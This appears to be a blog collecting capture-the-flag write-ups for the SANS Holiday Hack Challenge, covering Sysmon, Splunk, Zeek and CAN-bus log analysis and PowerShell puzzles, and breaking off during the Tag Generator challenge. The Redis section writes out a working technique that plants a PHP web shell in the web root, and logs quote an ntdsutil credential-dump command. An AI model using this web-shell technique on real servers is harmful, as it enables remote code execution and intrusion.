' ' rejected-elfu-logos.txt
Loading, please wait......
You did it! Congratulations!

A rather simple solution, but don’t worry, it will get a bit harder as you progress… Now, if you go back and click on Mary a few times, she will reveal the hints for solving this objective:

Oh there they are! Now I can delete them. Thanks! Have you tried the Sysmon and EQL challenge? If you aren’t familiar with Sysmon, Carlos Perez has some great info about it. Haven’t heard of the Event Query Language? Check out some of Ross Wolf’s work on EQL or that blog post by Josh Wright in your badge.

Link for EQL: https://www.endgame.com/our-experts/ross-wolf

Main Objective

While the provided hint about EQL was interesting, I could not directly use it to solve this challenge. Instead I went on a different route. Since the goal is to identify a tool being used to extract password hashes from lsass.exe, I parsed the JSON file with the Sysmon logs with jq and then filtered for the command_line looking for .exe files.

$ cat sysmon-data.json | jq '.[].command_line' | grep '.exe' | uniq | wc -l
196

196 is still rather large number to try, so then I decided to search on the net for extracting domain password and one of the first few articles pointed me to a utility called NTDS. I searched for this in the logs and the answer presented itself right away: ntdsutil which is the solution for Objective #4:

$ cat sysmon-data.json | jq '.[].command_line' | grep 'ntdsutil.exe'
"ntdsutil.exe \"ac i ntds\" ifm \"create full c:\\hive\" q q"

Splunk Challenge

Thu, 24 Dec 2020 00:00:00 +0100

After solving the HID Lock challenge, I continue solving the objectives as Santa with some special privileges. I can access various systems that was only possible for Santa before, like the Splunk terminal in the Great Room which used to be locked with the following error message The Splunk terminal is for Santa and select SOC elves only…

Unfortunately there are no more hints from the elves, only warnings and panic:

Hey Santa, there’s some crazy stuff going on that we can see through our Splunk infrastructure. You better login and see what’s up.

Next I click the terminal on the table which opens Splunk in a new tab with the goal of figuring out the answer to the next objective:

Thankfully it has a very nice chat interface where Alice Bluebird helps out with hints for the first few training questions:s

Question 1

How many distinct MITRE ATT&CK techniques did Alice emulate?

Alice provides the first part of a handy splunk query to find that the answer is 13:

| tstats count where index=* by index
| search index=T*-win OR T*-main
| rex field=index "(?<technique>t\d+)[\.\-].0*"
| stats dc(technique)

Question 2

What are the names of the two indexes that contain the results of emulating Enterprise ATT&CK technique 1059.003? (Put them in alphabetical order and separate them with a space)

This was also rather easy to answer: t1059.003-main t1059.003-win

Question 3

One technique that Santa had us simulate deals with ‘system information discovery’. What is the full name of the registry key that is queried to determine the MachineGuid?

A simple search in Splunk for index=* MachineGuid reveals entries such as REG QUERY HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography /v MachineGuid which quickly provides the answer: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography

Question 4

According to events recorded by the Splunk Attack Range, when was the first OSTAP related atomic test executed? (Please provide the alphanumeric UTC timestamp)

Following a similar logic, I searched for index=* OSTAP in splunk, which retrieved 8 results. Then I scrolled down to the bottom to find the oldest one and submitted its timestamp as answer: 2020-11-30T17:44:15Z

Question 5

One Atomic Red Team test executed by the Attack Range makes use of an open source package authored by frgnca on GitHub. According to Sysmon (Event Code 1) events in Splunk, what was the ProcessId associated with the first use of this component?

For this one I had to try a bit harder, but some time spent looking at the frgnca github repo, I figured that it had to do something with Audio, so I crafter this query in Splunk index=* EventCode=1 AND CommandLine="*Audio*" which helped retrieve the correct answer: 3648

Question 6

Alice ran a simulation of an attacker abusing Windows registry run keys. This technique leveraged a multi-line batch file that was also used by a few other techniques. What is the final command of this multi-line batch file used as part of this simulation?

This question probably took me the longest to figure out. I’ve spent about 2 hours looking for information in Splunk, and what eventually unblocked me was reading the question over and over again until I realized that the answer will come only partially from Splunk. Eventually I solved it by searching for any occurrence of *.bat files in Splunk, which helped me find Discovery.bat from the Red Canary repo, which was used to create the simulation. The answer was the final line in this batch script: quser

Question 7

According to x509 certificate events captured by Zeek (formerly Bro), what is the serial number of the TLS certificate assigned to the Windows domain controller in the attack range?

This was a rather easy one, I searched for index=* SERIAL in Splunk which revealed several records. Right on top the first one had the answer: 55FCEEBB21270D9249E86F4B9DC7AA60

Final Question

What is the name of the adversary group that Santa feared would attack KringleCon?

For this final question Alice provided a base64 encoded cipher text that according to her was encrypted with Santa’s favourite phrase.

7FXjP1lyfKbyDK/MChyf36h7

What’s more, she even suggested that the encryption key was mentioned during the KringleCon Talk by Dave Herrald on Adversary Emulation and Automation. I fast-forwarded to the end to find this slide:

The choice of RC4 cipher was almost obvious, after reading Alice’s hint in Splunk SOC Chat:

It’s encrypted with an old algorithm that uses a key. We don’t care about RFC 7465 up here! I leave it to the elves to determine which one!

Armed with this knowledge, I used CyberChef and the uncovered passphrase to uncover the name of the adversary group.

On to the next one! 😎

Network Log Analysis - Determine Compromised System

Sat, 28 Dec 2019 00:00:00 +0100

Zeek them logs!

Instructions from the badge:

The attacks don’t stop! Can you help identify the IP address of the malware-infected system using these Zeek logs? For hints on achieving this objective, please visit the Laboratory and talk with Sparkle Redberry.

Link to Zeek logs which weigh around 300 MB (1.4 GB uncompressed).

Technical Challenge

Before attacking the Zeek logs, you can look for Sparkle Redberry in the Laboratory for some hints on the main objective. But as usual, you need to help him first with a laser device that’s normally generating Xmas Cheers but is now malfunctioning:

I’m Sparkle Redberry and Imma chargin’ my laser! Problem is: the settings are off. Do you know any PowerShell? It’d be GREAT if you could hop in and recalibrate this thing. It spreads holiday cheer across the Earth … … when it’s working!

So now it’s time to dive into the PowerShell terminal sitting on the table, which controls the laser hardware. When you open the terminal you see the below banner:

PowerShell 6.2.3
Copyright (c) Microsoft Corporation. All rights reserved.
https://aka.ms/pscore6-docs
Type 'help' to get help.
🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲
🗲 🗲
🗲 Elf University Student Research Terminal - Christmas Cheer Laser Project 🗲
🗲 ------------------------------------------------------------------------------ 🗲
🗲 The research department at Elf University is currently working on a top-secret 🗲
🗲 Laser which shoots laser beams of Christmas cheer at a range of hundreds of 🗲
🗲 miles. The student research team was successfully able to tweak the laser to 🗲
🗲 JUST the right settings to achieve 5 Mega-Jollies per liter of laser output. 🗲
🗲 Unfortunately, someone broke into the research terminal, changed the laser 🗲
🗲 settings through the Web API and left a note behind at /home/callingcard.txt. 🗲
🗲 Read the calling card and follow the clues to find the correct laser Settings. 🗲
🗲 Apply these correct settings to the laser using it's Web API to achieve laser 🗲
🗲 output of 5 Mega-Jollies per liter. 🗲
🗲 🗲
🗲 Use (Invoke-WebRequest -Uri http://localhost:1225/).RawContent for more info. 🗲
🗲 🗲
🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲

You can see some really good hints straight away. Your main task is to calibrate the laser, so that it emits at least 5 Mega-Jollies of Xmas Cheer. In order to calibrate it we can change its angle, the temperature, the refraction and various compositions of gases inside. For the full instructions execute the command in the banner:

PS /home/elf> (Invoke-WebRequest -Uri http://localhost:1225/).RawContent
HTTP/1.0 200 OK
Server: Werkzeug/0.16.0
Server: Python/3.6.9
Date: Sat, 28 Dec 2019 21:20:38 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 860
...
----------------------------------------------------
Christmas Cheer Laser Project Web API
----------------------------------------------------
Turn the laser on/off:
GET http://localhost:1225/api/on
GET http://localhost:1225/api/off
Check the current Mega-Jollies of laser output
GET http://localhost:1225/api/output
Change the lense refraction value (1.0 - 2.0):
GET http://localhost:1225/api/refraction?val=1.0
Change laser temperature in degrees Celsius:
GET http://localhost:1225/api/temperature?val=-10
Change the mirror angle value (0 - 359):
GET http://localhost:1225/api/angle?val=45.1
Change gaseous elements mixture:
POST http://localhost:1225/api/gas
POST BODY EXAMPLE (gas mixture percentages):
O=5&H=5&He=5&N=5&Ne=20&Ar=10&Xe=10&F=20&Kr=10&Rn=10
----------------------------------------------------
...

When I first tried to calibrate the laser, I naively thought I can just enter some random numbers and see if I can reach the desired amount of Mega-Jollies by trial and error / brute forcing. But after 10 minutes of messing with the laser parameters, I had to admit that this was not going to work. So then I read the banner again and started following the hints.

PS /home/elf> get-content /home/callingcard.txt
What's become of your dear laser?
Fa la la la la, la la la la
Seems you can't now seem to raise her!
Fa la la la la, la la la la
Could commands hold riddles in hist'ry?
Fa la la la la, la la la la
Nay! You'll ever suffer myst'ry!
Fa la la la la, la la la la
PS /home/elf>

This clue is pointing to the command history, so next I Googled how to see PowerShell command history and queried the terminal:

PS /home/elf> Get-History
Id CommandLine
-- -----------
1 Get-Help -Name Get-Process
2 Get-Help -Name Get-*
3 Set-ExecutionPolicy Unrestricted
4 Get-Service | ConvertTo-HTML -Property Name, Status > C:\services.htm
5 Get-Service | Export-CSV c:\service.csv
6 Get-Service | Select-Object Name, Status | Export-CSV c:\service.csv
7 (Invoke-WebRequest http://127.0.0.1:1225/api/angle?val=65.5).RawContent
8 Get-EventLog -Log "Application"
9 I have many name=value variables that I share to applications system wide. At a comma…
10 (Invoke-WebRequest -Uri http://localhost:1225/).RawContent
11 get-content /home/callingcard.txt

IDs #7 and ID #9 both seems interesting. For now we can assume that ID #7 holds the correct value for the angle! I then continued with ID #9 which seemed to have a truncated message. If only we could reveal the full version. Of course, after few google searches, I found just the command I needed.

PS /home/elf> Invoke-History -Id 9
I have many name=value variables that I share to applications system wide. At a command I will reveal my secrets once you Get my Child Items.

So hidden in the riddle was another riddle. The first sentence seems to suggest we need to look at ENV variables, while the second sentence seems to suggest how to get to them. On to google searching again, then back to the terminal:

PS /home/elf> Get-ChildItem Env:
Name Value
---- -----
PWD /home/elf
riddle Squeezed and compressed I am hidden away. Expand me from my…
SHELL /home/elf/elf
... ...

Here we see an environment variable named riddle containing some further clues. However we need to find a way to expand it so its full content can be revealed. This can be done in numerous ways, one idea I got from my brother, who is a bigger PowerShell guru than I am, was to do the below:

PS /home/elf> (Get-ChildItem Env:)[-9].Value
Squeezed and compressed I am hidden away. Expand me from my prison and I will show you the way. Recurse through all /etc and Sort on my LastWriteTime to reveal i'm the newest of all.
PS /home/elf>

So the content of the riddle env variable was now revealed, which seemed to suggest to continue looking in the /etc folder, where we should find the file which was modified most recently. Back to Google again, to do some searching, which gave the below commands:

PS /home/elf> Get-ChildItem -Recurse -Path /etc | Sort LastWriteTime
[... lots of output omitted for brievity...]
Directory: /etc/apt
Mode LastWriteTime Length Name
---- ------------- ------ ----
--r--- 12/28/19 9:46 PM 5662902 archive
PS /home/elf> Expand-Archive /etc/apt/archive -DestinationPath ./expanded
PS /home/elf> Get-ChildItem ./expanded/
Directory: /home/elf/expanded
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 12/28/19 9:53 PM refraction
PS /home/elf> Get-ChildItem ./expanded/refraction/
Directory: /home/elf/expanded/refraction
Mode LastWriteTime Length Name
---- ------------- ------ ----
------ 11/7/19 11:57 AM 134 riddle << further clue for temperature
------ 11/5/19 2:26 PM 5724384 runme.elf << refraction is hidden here

This archive, when unpacked, revealed a folder named refraction and within another hint plus the value for refraction. To get the value for refraction I had to somehow run the other file runme.elf. I spent close to 2 hours trying to figure out how to call this file from PowerShell, when I had almost given up, and gave a final try by issuing chmod +x and then running it as binary executable. Quite surprisingly this worked like a charm:

PS /home/elf/expanded/refraction> chmod +x ./runme.elf
PS /home/elf/expanded/refraction> ./runme.elf
refraction?val=1.867
PS /home/elf/expanded/refraction> Get-Content ./riddle
Very shallow am I in the depths of your elf home. You can find my entity by using my md5 identity:
25520151A320B5B0D21561F92C8F6224
PS /home/elf/expanded/refraction>

So there was the correct setting for the refraction of the laser. Next I turned to the other file in the folder called riddle and saw further clues. I noticed that it referred to depths, which was a reference to the HOME directory which contained hundreds of text files in several levels of folders hierarchy. Somewhere in these depths was a file which had the md5 hash referenced in the riddle. To find it I issued the below command:

PS /home/elf> Get-ChildItem ./depths/*.txt -Recurse | Get-FileHash -Algorithm MD5 | Where-Object hash -eq 25520151A320B5B0D21561F92C8F6224 | Select path
Path
----
/home/elf/depths/produce/thhy5hll.txt
PS /home/elf> Get-Content /home/elf/depths/produce/thhy5hll.txt
temperature?val=-33.5
I am one of many thousand similar txt's contained within the deepest of /home/elf/depths. Finding me will give you the most strength but doing so will require Piping all the FullName's to Sort Length.

The last missing piece of the laser puzzle was the correct composition of gas compounds for the laser. There were no direct hints that I could find, however, I had the idea that perhaps the /home/elf/depths folder may be holding more than just the temperature. Next I did a search for the top 3 largest text files within this folder and found that the 2 largest text files are somewhat special. The largest was the one which contained the temperature, the second largest was another file with some further clues.

PS /home/elf> Get-ChildItem -Path ./depths/ -Recurse | Sort-Object Length -Descending | Select-Object length,name,directory -First 3 | Format-Table -AutoSize -Wrap
Length Name Directory
------ ---- ---------
224 thhy5hll.txt /home/elf/depths/produce
209 0jhj5xz6.txt /home/elf/depths/larger/cloud/behavior/beauty/enemy/produce/age/chair/u
nknown/escape/vote/long/writer/behind/ahead/thin/occasionally/explore/t
ape/wherever/practical/therefore/cool/plate/ice/play/truth/potatoes/bea
uty/fourth/careful/dawn/adult/either/burn/end/accurate/rubbed/cake/main
/she/threw/eager/trip/to/soon/think/fall/is/greatest/become/accident/la
bor/sail/dropped/fox
162 r9j67n1j.txt /home/elf/depths/larger/saddle/grown/correctly/allow/free/spoken/coffee
/sight/increase/steady/division/gas/available/pressure/wooden

As it can be seen, the 3rd largest file was noticeably smaller. I still checked its content, but there was nothing useful in it, so it was safe to assume that no other files were of any interest within the depths folder. So then I checked the contents of the 0jhj5xz6.txt buried deep within the depths and found that it contained some pretty useful hint:

PS /home/elf> Get-Content /home/elf/depths/larger/cloud/behavior/beauty/enemy/produce/age/chair/unknown/escape/vote/long/writer/behind/ahead/thin/occasionally/explore/tape/wherever/practical/therefore/cool/plate/ice/play/truth/potatoes/beauty/fourth/careful/dawn/adult/either/burn/end/accurate/rubbed/cake/main/she/threw/eager/trip/to/soon/think/fall/is/greatest/become/accident/labor/sail/dropped/fox/0jhj5xz6.txt
Get process information to include Username identification. Stop Process to show me you're skilled and in this order they must be killed:
 bushy
 alabaster
 minty
 holly
Do this for me and then you /shall/see.
PS /home/elf> Get-Process -IncludeUserName
 WS(M) CPU(s) Id UserName ProcessName
 ----- ------ -- -------- -----------
 28.99 2.01 6 root CheerLaserServi
 191.95 16.86 31 elf elf
 3.57 0.02 1 root init
 0.72 0.00 24 bushy sleep
 0.75 0.00 26 alabaster sleep
 0.77 0.00 28 minty sleep
 0.82 0.00 29 holly sleep
 3.27 0.00 30 root su
PS /home/elf> Stop-Process 24 26 28 29
PS /home/elf> Get-Content /shall/see
Get the .xml children of /etc - an event log to be found. Group all .Id's and the last thing will be in the Properties of the lonely unique event Id.
PS /home/elf>

So it seemed the gas values were hidden somewhere in an .xml file in the /etc folder. To find this file I turned to another command of PowerShell:

PS /home/elf> Get-ChildItem -Recurse -Include *.xml -Path /etc/
Directory: /etc/systemd/system/timers.target.wants
Mode LastWriteTime Length Name
---- ------------- ------ ----
--r--- 11/18/19 7:53 PM 10006962 EventLog.xml

It was a rather large XML file, so instead of displaying it, I just did a simple text-based search. I know the hint said I should parse the XML and do some fancy Group-By based on ID and whatnot, but I am fond of simpler shortcuts whenever possible, so I did a simple string search that quickly gave me the answer to the composition of gases:

PS /home/elf> Get-Content /etc/systemd/system/timers.target.wants/EventLog.xml | Select-String -pattern "gas"
<S N="Message">
Process Create: -
RuleName: -
UtcTime: 2019-11-07 17:59:56.525
ProcessGuid: {BA5C6BBB-5B9C-5DC4-0000-00107660A900}
ProcessId: 3664
Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
FileVersion: 10.0.14393.206 (rs1_release.160915-0644)
Description: Windows PowerShell Product: Microsoft® Windows® Operating System
Company: Microsoft Corporation
OriginalFileName: PowerShell.EXE
CommandLine: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -c "`$correct_gases_postbody = @{`n O=6`n H=7`n He=3`n N=4`n Ne=22`n Ar=11`n Xe=10`n F=20`n Kr=8`n Rn=9`n}`n"
CurrentDirectory: C:\
 User: ELFURESEARCH\allservices
LogonGuid: {BA5C6BBB-5B9C-5DC4-0000-0020F55CA900}
LogonId: 0xA95CF5
TerminalSessionId: 0
IntegrityLevel: High
Hashes: MD5=097CE5761C89434367598B34FE32893B
ParentProcessGuid: {BA5C6BBB-4C79-5DC4-0000-001029350100}
ParentProcessId: 1008
ParentImage: C:\Windows\System32\svchost.exe
ParentCommandLine: C:\Windows\system32\svchost.exe -k netsvcs</S>

I formatted the output a bit, but basically it is very easy to spot the composition of gases within the arguments of the PowerShell executable: O=6 H=7 He=3 N=4 Ne=22 Ar=11 Xe=10 F=20 Kr=8 Rn=9. With this final piece of the puzzle complete, I used the laser Web API to submit the correct values and reached the 5 Mega-Jollies of Xmas Cheer with the laser output.

(Invoke-WebRequest http://127.0.0.1:1225/api/off).RawContent
(Invoke-WebRequest http://127.0.0.1:1225/api/angle?val=65.5).RawContent
(Invoke-WebRequest http://127.0.0.1:1225/api/temperature?val=-33.5).RawContent
(Invoke-WebRequest http://127.0.0.1:1225/api/refraction?val=1.867).RawContent
(Invoke-WebRequest -Uri http://127.0.0.1:1225/api/gases -Body "O=6&H=7&He=3&N=4&Ne=22&Ar=11&Xe=10&F=20&Kr=8&Rn=9" -Method POST).RawContent
(Invoke-WebRequest http://127.0.0.1:1225/api/on).RawContent
(Invoke-WebRequest http://127.0.0.1:1225/api/output).RawContent

Now that this terminal issue is solved, let’s check with Sparkle Redberry for the hints he promised:

You got it - three cheers for cheer! For objective 5, have you taken a look at our Zeek logs? Something’s gone wrong. But I hear someone named Rita can help us. Can you and she figure out what happened?

Main Objective

So the hint from Sparkle mentioned Rita, which is not a reference to some other character on the ELFU campus, but a tool for solving the main objective. The tool is available through a GitHub repository.

As a next step I unpacked the 300 MB zip and noticed that it already contained a folder ELFU which had an index.html. I loaded it up in my browser and noticed that it contained statistics from presumably the same log files so I did not had to install Rita eventually. Instead I relied on the contents of this ELFU folder from the unpacked zip.

So next I opened the index.html and saw that one database with name ELFU was available. I clicked it and got a bunch of tabs with different kinds of information:

I first noticed the Beacons tab and the very first item in the table with 7660 connections and source IP of 192.168.134.130. Then I remembered that I was looking for the IP address of a system which is infected with malware. Then I also checked the Long Connections tab and the same source IP showed up with the longest connection of 1000 (probably seconds?). Then I tried my luck with this IP address as the answer and the value was accepted!

Sleigh CAN-D-BUS Issue

Thu, 24 Dec 2020 00:00:00 +0100

Now that Spunk is solved, my badge tells me to head up to the NetWars room for solving the next objective and talk with Wunorse Openslae who can help if you figure out what’s up with his terminal:

Hey Santa! Those tweaks you made to the sled just don’t seem right to me. I can’t figure out what’s wrong, but maybe you can check it out to fix it.

Next I click on the terminal next to him, which pops up a CLI session. As the MOTD tells me, there is a file with logs of the CAN traffic of the sleigh. In the logs there are few distinct message types:

Engine UP/DOWN messages (many of these)
LOCK and UNLOCK messages (3 in total!)

So then I inspect the candump.log file and do some transformations on it. First, I filter each line and keep only the third column. Then I extract the first 3 characters of each line and use sort -nr & uniq -c to show how many of each line is present in the logs:

1elf@87cee25c674e:~$ cat candump.log | awk '{print $3}' | cut -b 1-3 | sort -nr | uniq -c
2 1331 244
3 35 188
4 3 19B
5
6elf@87cee25c674e:~$ cat candump.log | grep 19B#
7(1608926664.626448) vcan0 19B#000000000000
8(1608926671.122520) vcan0 19B#00000F000000
9(1608926674.092148) vcan0 19B#000000000000

This helps to know that messages with ID 19B are related to LOCK/UNLOCK events. This will be useful to know for fixing Santa’s sleigh next:

Next I click on Santa’s sleigh, and a strange UI interface pops up. To learn more about what it is, I watch the KringleCon talk from Chris Elgee on CAN Bus in vehicles HERE.

Initially, I just naively excluded all messages with ID 19B but that did not seem to fix it. Then I excluded some of the most common messages to make the steam slower a bit so that I can see more clearly what was happening. That’s when I discovered a strange message with the same ID but non-zero payload in the stream:

11609081466157 019#00000000
21609081466258 188#00000000
31609081466462 19B#0000000F2057 << THIS SHOULD NOT BE HERE!
41609081466562 080#000000
51609081466663 019#00000000
61609081466767 188#00000000

I thought this may be the malicious message that is being inserted onto the bus, so I excluded it. This was probably a step in the right direction, but it was still not enough to complete the objective.

Next, I proceeded to play a bit with the controls and noticed something strange when the slider for the break was moved. I noticed that on each cycle, two messages would be emitted from the break:

11609082448556 080#000028
21609082448576 080#FFFFF0 <<< EXCLUDE!
31609082449074 080#000028
41609082449077 080#FFFFF3 <<< EXCLUDE!

The ones with high payload value seemed suspicious, so I excluded them all and voila, this was the correct solution!

On to the next one! 😎

Splunk

Sat, 28 Dec 2019 00:00:00 +0100

Evil emails!

Instructions from the badge:

Access https://splunk.elfu.org/ as elf with password elfsocks. What was the message for Kent that the adversary embedded in this attack? The SOC folks at that link will help you along! For hints on achieving this objective, please visit the Laboratory in Hermey Hall and talk with Prof. Banas.

For additional advice you are told to visit Hermey Hall and talk to Prof Banas:

Hi, I’m Dr. Banas, professor of Cheerology at Elf University. This term, I’m teaching “HOL 404: The Search for Holiday Cheer in Popular Culture,” and I’ve had quite a shock! I was at home enjoying a nice cup of Gløgg when I had a call from Kent, one of my students who interns at the Elf U SOC. Kent said that my computer has been hacking other computers on campus and that I needed to fix it ASAP! If I don’t, he will have to report the incident to the boss of the SOC. Apparently, I can find out more information from this website https://splunk.elfu.org/ with the username: elf / Password: elfsocks. I don’t know anything about computer security. Can you please help me?

This time there was no terminal which needed to be fixed through some command line magic, instead you just had to browse to the URL given by Prof. Banas and follow the hints through the ElfU SOC chat interface. When you first visit, you will be greeted with the below message.

The main question to answer:

What was the message for Kent that the adversary embedded in this attack?

To get to the answer, you should rely on the training questions and the hints from SOC characters in the chat. Alice in the chat will tell you that you don’t necessarily need to solve all the training questions if you already know Splunk, you can safely skip and look for the answer to the main question. To do this you will need these 2 resources:

ElfU Splunk Search: https://splunk.elfu.org/en-GB/app/SA-elfusoc/search
ElfU File Archive: http://elfu-soc.s3-website-us-east-1.amazonaws.com/

Since I never used Splunk before, I went through the training questions anyway to learn the logic of Splunk:

Q1 - What is the short host name of Professor Banas’ computer?

This can be answered by simply paying attention to the discussion in the chat windows. If you missed it go back to the group chat called Chat with #ELFU SOC and read it again. Then you will see that the answer is sweetums.

Q2 - What is the fully path and name of the sensitive file that was likely accessed and copied by the attacker?

For this question, Alice mentioned that Prof. Banas is really close with Santa, and that they worry that the attacker who compromised the Prof’s machine may have accessed some sensitive information related to Santa. Her tip is to do a simple text search for something you are interested in, which she says can lead straight to the answer quite often. So when you search the data for any mention of santa you will get a few hits, the answer can be found within the below text:

ParameterBinding(Format-List):
name="InputObject";
value="C:\Users\cbanas\Documents\Naughty_and_Nice_2019_draft.txt:1:Carl, you know there's no one I trust more than you to help. Can you have a look at this draft Naughty and Nice list for 2019 and let me know your thoughts? -Santa"

Q3 - What is the fully-qualified domain name(FQDN) of the command and control(C2) server?

Since these questions are meant to be for training, Alice will almost give you the correct search term straight away. In one of her messages she posted a link to a Splunk search that she did with the below parameters:

index=main sourcetype=XmlWinEventLog:Microsoft-Windows-Sysmon/Operational powershell EventCode=3

This Splunk search gave away the answer in the first search result. The C&C server’s FQDN is: 144.202.46.214.vultr.com.

Q4 - What document is involved with launching the malicious PowerShell code (provide just file name)?

For this question Alice showed a neat technique which can help filter the pool of event logs by setting a time-window of +/- 5 seconds of some interesting event at a particular point in time. Eventually she points out that you are looking for a document, so why not search for the string doc and see what comes up:

19th Century Holiday Cheer Assignment.doc

This seemed promising, however this was not accepted as the answer. Then I remembered that word documents have different extensions such as .docx, .docm and so on, so I did a Google search for PowerShell execution from Word and realized that this requires Word Macros to be enabled, which means the file should have the .docm extension. Next I tried the same search but for docm and this time and the same filename popped up, but with .docm extension, which was the correct answer: 19th Century Holiday Cheer Assignment.docm.

Q5 - How many unique email addresses were used to send Holiday Cheer essays to Professor Banas?

To answer this one, Alice gave some useful info on StoQ and a starting query as well. If you modify the query a bit to show less info, you can easily count the emails manually:

index=main sourcetype=stoq | table _time results{}.workers.smtp.to results{}.workers.smtp.subject | sort - _time

Just sort the table based on the subject line and count how many there are for subject: Holiday Cheer Assignment Submission. In total you should get 21 which is the correct answer.

Q6 - What was the password for the zip archive that contained the suspicious file?

This one you can solve very easily without many hints, if you cared to read some of the emails that Prof received from his students as part of their course submissions. The ZIP which contained the malicious word document that was locked with the password 123456789 which was mentioned in the email as well. Not very strong, nor secure…

Q7 - What email address did the suspicious file come from?

This question was answered easily if you inspected any of the emails from the previous question. The sender was bradly.buttercups@eifu.org.

Main Question

Finally, to answer the main question of Objective 6, return to Alice for some additional hints. For obvious reasons the malicious document is not available for you to inspect, but the File Archive she mentioned earlier is a good place to look if you know what to look for. She also pointed out that it contains metadata from StoQ, and also provided a search term:

index=main sourcetype=stoq "results{}.workers.smtp.from"="bradly buttercups <bradly.buttercups@eifu.org>"
| eval results = spath(_raw, "results{}")
| mvexpand results
| eval path=spath(results, "archivers.filedir.path"), filename=spath(results, "payload_meta.extra_data.filename"), fullpath=path."/".filename
| search fullpath!=""
| table filename,fullpath

The final hint from Alice will definitely lead you to the file that you need to answer the question. Can you get it?

Last thing for you today: Did you know that modern Word documents are (at their core) nothing more than a bunch of .xml files?

Of course it is the core.xml. The Splunk search she gave you shows that its path is: /home/ubuntu/archive/f/f/1/e/a/ff1ea6f13be3faabd0da728f514deb7fe3577cc4/core.xml. So now you just need to navigate to this file in the File Archive, download it and peek inside:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<cp:coreProperties xmlns:cp="http://schemas.openxmlformats.org/package/2006/metadata/core-properties"
xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:dcterms="http://purl.org/dc/terms/"
xmlns:dcmitype="http://purl.org/dc/dcmitype/"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<dc:title>Holiday Cheer Assignment</dc:title>
<dc:subject>19th Century Cheer</dc:subject>
<dc:creator>Bradly Buttercups</dc:creator>
<cp:keywords></cp:keywords>
<dc:description>Kent you are so unfair. And we were going to make you the king of the Winter Carnival.</dc:description>
<cp:lastModifiedBy>Tim Edwards</cp:lastModifiedBy><cp:revision>4</cp:revision>
<dcterms:created xsi:type="dcterms:W3CDTF">2019-11-19T14:54:00Z</dcterms:created>
<dcterms:modified xsi:type="dcterms:W3CDTF">2019-11-19T17:50:00Z</dcterms:modified>
<cp:category></cp:category></cp:coreProperties>

You will find the secret message to Kent within the <dc:description> tag:

Kent you are so unfair. And we were going to make you the king of the Winter Carnival.

Broken Tag Generator

Thu, 24 Dec 2020 00:00:00 +0100

Now that Santa’s sleigh’s CAN-D-BUS issue is fixed it’s time to move on to Objective 8 for fixing the KringleCon Tag Generator in the Wrapping Room. First, I head to the Kitchen to talk with Holly Evergreen who is ready to trade some hints for my help with the Redis terminal:

Hi Santa! If you have a chance, I’d love to get your feedback on the Tag Generator updates! I’m a little concerned about the file upload feature, but Noel thinks it will be fine.

Clicking the Redis Terminal next to him will bring up a shell window. After some inspection the task at hand is more or less clear: I need to exfiltrate the index.php file from the server on localhost using maintenance.php. This endpoint accepts a cmd parameter which executes the given parameters in redis-cli.

For start, I query the entire redis config with the below command (which is then filtered for just the PW):

1player@100dfcdfbca2:~$ curl http://localhost/maintenance.php?cmd=CONFIG,GET,* 2>/dev/null | grep pass -A 3
2Running: redis-cli --raw -a '<password censored>' 'CONFIG' 'GET' '*'
3dbfilename
4dump.rdb
5requirepass
6R3disp@ss <<< Will be very handy to start a local redis-cli session with privileges!
7masterauth

Next, I was looking around the internet for Redis vulnerabilities including local file access and found THIS link which has a section on Redis RCE vulnerability. While that example did not work straight out of the box, it pointed me to the right direction which eventually led me to the below exploit (inspired by this source) submitted via the redis-cli using the previously obtained password:

1echo "CONFIG SET dir /var/www/html" | redis-cli -a R3disp@ss
2echo "CONFIG SET dbfilename exfil.php" | redis-cli -a R3disp@ss
3echo "SET PAYLOAD \"<?php system(\$_GET['cmd']); ?>\"" | redis-cli -a R3disp@ss
4echo "BGSAVE" | redis-cli -a R3disp@ss

Finally, to exfiltrate the index.php I execute a cURL simple command:

Now that the redis bug is discovered, I can get the promised hints from Holly:

Sorry to be a pest Santa, but could you look at the Tag Generator? I’ve been looking at it, and I wonder if the source code would provide more insight? I told Noel we should be more careful about disclosing information in error messages. I tried what you suggested and enumerating all endpoints really is good idea to understand an application’s functionality. Sometimes though, I find the Content-Type header hinders the browser more than it helps. Blind command injection can be frustrating though. Do you think output redirection would help?

Few more hints also appeared in the badge afterwards:

We might be able to find the problem if we can get source code!
Can you figure out the path to the script? It’s probably on error pages!
Once you know the path to the file, we need a way to download it!
Is there an endpoint that will print arbitrary files?
If you’re having trouble seeing the code, watch out for the Content-Type! Your browser might be trying to help (badly)!
I’m sure there’s a vulnerability in the source somewhere… surely Jack wouldn’t leave their mark?
If you find a way to execute code blindly, I bet you can redirect to a file then download that file!
Remember, the processing happens in the background so you might need to wait a bit after exploiting but before grabbing the output!

Now it’s time to head to the Wrapping Room to talk with Noel:

Welcome to the Wrapping Room, Santa! The tag generator is acting up. I feel like the issue has something to do with weird files being uploaded. Can you help me figure out what’s wrong?

The application in question is available via this LINK:

It seems to be a simple web-application that is used to build name-tags by uploading some graphics and adding your own text to it and then downloading the result. I proceed to inspect its source closer, to see what it takes to break it… 😇

Since both elves mentioned the file-upload part which may be problematic, I started playing with that to see how it worked:

when trying to upload a 5.2 MB pdf file it came back with 413 Request Entity Too Large, no client-side verification.
when uploading a smaller text file it came back with Something went wrong! and a more useful error message:

